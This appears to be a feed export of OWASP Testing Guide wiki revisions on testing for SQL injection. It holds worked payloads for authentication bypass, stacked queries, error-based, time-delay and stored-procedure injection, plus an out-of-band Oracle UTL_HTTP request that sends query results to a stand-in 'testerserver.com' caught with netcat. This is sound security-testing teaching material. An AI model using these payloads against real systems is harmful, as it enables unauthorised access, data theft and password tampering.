the SQL injection vulnerability using other technique such as UNION. The Error&lt;br /&gt;
based technique consists in forcing the database to perform some operation in&lt;br /&gt;
which the result will be an error. The point here is to try to extract some&lt;br /&gt;
data from the database and show it in the error message. This exploitation&lt;br /&gt;
technique can be different from DBMS to DBMS (check DBMS specific session).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the&lt;br /&gt;
hostname of the parameter passed to it, which is other query, the name of the&lt;br /&gt;
user. When the database looks for a hostname with the user database name, it&lt;br /&gt;
will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester&lt;br /&gt;
can manipulate the parameter passed to GET_HOST_NAME()&lt;br /&gt;
function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Out of band Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
This technique&lt;br /&gt;
is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. The technique consists in&lt;br /&gt;
the use of DBMS functions to perform an out of band connection and deliver the&lt;br /&gt;
results of the injected query as part of the request to the tester’s server.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Like the error&lt;br /&gt;
based techniques, each DBMS has its own functions. Check for specific DBMS&lt;br /&gt;
section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_HTTP.request. This Oracle function will&lt;br /&gt;
try to connect to ‘testerserver’ and make a HTTP GET&lt;br /&gt;
request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver&lt;br /&gt;
(e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Time delay Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Boolean&lt;br /&gt;
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. This technique consists&lt;br /&gt;
in sending an injected query and in case the conditional is true, the tester&lt;br /&gt;
can monitor the time taken to for the server to respond. If there is a delay,&lt;br /&gt;
the tester can assume the result of the conditional query is true. This&lt;br /&gt;
exploitation technique can be different from DBMS to DBMS (check DBMS specific&lt;br /&gt;
session)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example&lt;br /&gt;
the tester if checking whether the MySql version is&lt;br /&gt;
5.x or not, making the server to delay the answer in 5 seconds. The tester can&lt;br /&gt;
increase the delay’s time and monitor the responses. The tester also doesn’t&lt;br /&gt;
need to wait for the response. Sometimes he can set a very high value (e.g.&lt;br /&gt;
100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must&lt;br /&gt;
properly sanitize the user input to eliminate the risk of code injection. If&lt;br /&gt;
not sanitized, the user could enter malicious SQL that will be executed within&lt;br /&gt;
the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Select 1&lt;br /&gt;
from users&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Where&lt;br /&gt;
username = ‘ + @username + ‘ and passwd&lt;br /&gt;
= ‘ + @passwd&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the&lt;br /&gt;
return value to show an existing record with these&lt;br /&gt;
parameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a&lt;br /&gt;
user, but consider a dynamic reporting query where the user selects the columns&lt;br /&gt;
to view. The user could insert malicious code into this scenario and compromise&lt;br /&gt;
the data. &amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1 from&lt;br /&gt;
users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being&lt;br /&gt;
updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Automated Exploitation ===&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
== Related Articles ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2010-Injection Flaws]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* http://sqlsus.sourceforge.net&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140262</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140262"/>
				<updated>2012-11-26T22:37:26Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: Format issues&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
==Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or&lt;br /&gt;
&amp;amp;quot;injection&amp;amp;quot; of a SQL query via the input data from the client to the&lt;br /&gt;
application. A successful SQL injection exploit can read sensitive data from&lt;br /&gt;
the database, modify database data (insert/update/delete), execute&lt;br /&gt;
administration operations on the database (such as shutdown the DBMS), recover&lt;br /&gt;
the content of a given file existing on the DBMS file system or write files into&lt;br /&gt;
the file system, and, in some cases, issue commands to the operating system.&lt;br /&gt;
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to&lt;br /&gt;
affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In general the way web&lt;br /&gt;
applications construct SQL statements involving SQL syntax wrote by the&lt;br /&gt;
programmers mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The red part is the SQL static&lt;br /&gt;
part supplied by the programmer and the variable $id contains user-supplied&lt;br /&gt;
data, making the SQL statement dynamic.&lt;br /&gt;
 &lt;br /&gt;
Because the way it was&lt;br /&gt;
constructed, the user can supply crafted input trying to make the original SQL&lt;br /&gt;
statement execute commands at user’s behavior. The example illustrates the&lt;br /&gt;
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,&lt;br /&gt;
modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can&lt;br /&gt;
be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Inband: data is extracted using the same      channel that is used to inject the SQL code. This is the most      straightforward kind of attack, in which the retrieved data is presented      directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a      different channel (e.g., an email with the results of the query is      generated and sent to the tester).&lt;br /&gt;
* Inferential: there is no actual transfer      of data, but the tester is able to reconstruct the information by sending      particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
Independent of the attack&lt;br /&gt;
class, a successful SQL Injection attack requires the attacker to craft a&lt;br /&gt;
syntactically correct SQL Query. If the application returns an error message&lt;br /&gt;
generated by an incorrect query, then it is easy to reconstruct the logic of&lt;br /&gt;
the original query and, therefore, understand how to perform the injection&lt;br /&gt;
correctly. However, if the application hides the error details, then the tester&lt;br /&gt;
must be able to reverse engineer the logic of the original query. The latter&lt;br /&gt;
case is known as &amp;amp;quot;[[Blind SQL Injection]]&amp;amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
About the techniques to&lt;br /&gt;
exploit SQL injection flaws there are five commons techniques. Also those&lt;br /&gt;
techniques sometimes can be used in a combined way (e.g. union operator and&lt;br /&gt;
out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: usually can be used when      the SQL injection flaw happens in a SELECT statement, making possible to      combine two queries into a single result.&lt;br /&gt;
* Boolean: use Boolean condition to verify      if certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the      database to generate an error making&lt;br /&gt;
* Out-of-band: technique used to retrieve data      using a different channel (e.g., make a HTTP connection to send the      results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g.      sleep) to delay answers in conditional queries. It useful when attacker doesn’t      have some kind of answer from the application.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==SQL Injection Detection ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first step in this test is to understand when the&lt;br /&gt;
application connects to a DB Server in order to access some data. Typical&lt;br /&gt;
examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is      performed using a web form, chances are that the user credentials are      checked against a database that contains all usernames and passwords (or,      better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user      could be used in a SQL query that extracts all relevant records from a      database&lt;br /&gt;
* E-Commerce sites: the products and their      characteristics (price, description, availability etc) are very likely to      be stored in a relational database.&lt;br /&gt;
 &lt;br /&gt;
The tester has to make a list of all input fields&lt;br /&gt;
whose values could be used in crafting a SQL query, including the hidden fields&lt;br /&gt;
of POST requests and then test them separately, trying to interfere with the&lt;br /&gt;
query and to generate an error. Consider also HTTP headers and Cookies. The&lt;br /&gt;
very first test usually consists of adding a single quote (') or a semicolon&lt;br /&gt;
(;) to the field under test. The first is used in SQL as a string terminator&lt;br /&gt;
and, if not filtered by the application, would lead to an incorrect query. The&lt;br /&gt;
second is used to end a SQL statement and, if it is not filtered, it is also&lt;br /&gt;
likely to generate an error. The output of a vulnerable field might resemble&lt;br /&gt;
the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND'&lt;br /&gt;
and 'OR' can be used to try to modify the query. A very simple but sometimes&lt;br /&gt;
still effective technique is simply to insert a string where a number is&lt;br /&gt;
expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Monitor all the responses from the web server and have&lt;br /&gt;
a look at the HTML/javascript source code. Sometimes&lt;br /&gt;
the error is present inside them but for some reason (e.g. javascript&lt;br /&gt;
error) is not presented to the user. A full error message, like those in the&lt;br /&gt;
examples, provides a wealth of information to the tester in order to mount a&lt;br /&gt;
successful injection. However, applications often do not provide so much&lt;br /&gt;
detail: a simple '500 Server Error' or a custom error page might be issued,&lt;br /&gt;
meaning that we need to use blind injection techniques. In any case, it is very&lt;br /&gt;
important to test each field separately: only one variable must vary while all&lt;br /&gt;
the other remain constant, in order to precisely understand which parameters&lt;br /&gt;
are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Standard SQL Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 1 (classical SQL Injection):&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
A similar query is generally used from the web&lt;br /&gt;
application in order to authenticate a user. If the query returns a value it&lt;br /&gt;
means that inside the database a user with that&lt;br /&gt;
credentials exists, then the user is allowed to login to the system, otherwise&lt;br /&gt;
the access is denied. The values of the input fields are generally obtained&lt;br /&gt;
from the user through a web form. Suppose we insert the following Username and&lt;br /&gt;
Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If we suppose that the values of the parameters are&lt;br /&gt;
sent to the server through the GET method, and if the domain of the vulnerable&lt;br /&gt;
web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After a short analysis we notice that the query&lt;br /&gt;
returns a value (or a set of values) because the condition is always true (OR&lt;br /&gt;
1=1). In this way the system has authenticated the user without knowing the&lt;br /&gt;
username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator&lt;br /&gt;
user. This may be the profile returned in some cases.'' Another example of&lt;br /&gt;
query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this case, there are two problems, one due to the&lt;br /&gt;
use of the parentheses and one due to the use of MD5 hash function. First of&lt;br /&gt;
all, we resolve the problem of the parentheses. That simply consists of adding&lt;br /&gt;
a number of closing parentheses until we obtain a corrected query. To resolve&lt;br /&gt;
the second problem, we try to invalidate the second condition. We add to our&lt;br /&gt;
query a final symbol that means that a comment is beginning. In this way,&lt;br /&gt;
everything that follows such symbol is considered a comment. Every DBMS has its&lt;br /&gt;
own symbols of comment, however, a common symbol to the greater part of the&lt;br /&gt;
database is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values&lt;br /&gt;
that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
This returns a number of values. Sometimes, the&lt;br /&gt;
authentication code verifies that the number of returned tuple&lt;br /&gt;
is exactly equal to 1. In the previous examples, this situation would be&lt;br /&gt;
difficult (in the database there is only one value per user). In order to go&lt;br /&gt;
around this problem, it is enough to insert a SQL command that imposes the&lt;br /&gt;
condition that the number of the returned tuple must&lt;br /&gt;
be one. (One record returned) In order to reach this goal, we use the operator&lt;br /&gt;
&amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the tuples that we expect to be returned. With respect to the&lt;br /&gt;
previous example, the value of the fields Username and&lt;br /&gt;
Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Example 2 (simple SELECT statement):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester&lt;br /&gt;
try a valid value (e.g. 10 in this case), the application will return the&lt;br /&gt;
description of a product.&lt;br /&gt;
A good way to test if the application is vulnerable in this scenario&lt;br /&gt;
is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return&lt;br /&gt;
some message telling us there is no content available or a blanket page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This second example can also be used to test Blind Sql Injection.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 3 (Stacked queries):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Depending on the API which the web application is using&lt;br /&gt;
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER)  is possible to&lt;br /&gt;
execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row&lt;br /&gt;
and independent on the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Fingerprinting the Database ===&lt;br /&gt;
 &lt;br /&gt;
Even the SQL language is a standard,&lt;br /&gt;
every DBMS has its peculiarity and differs from each other in many aspects like&lt;br /&gt;
especial commands, functions to retrieve data such as users names and&lt;br /&gt;
databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection&lt;br /&gt;
exploitation they need to know the backend.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1) The first way to find out which is the backend is by&lt;br /&gt;
observing the error returned by the application. Follow are some examples:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message,&lt;br /&gt;
the tester can try to inject into string field using concatenation technique:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
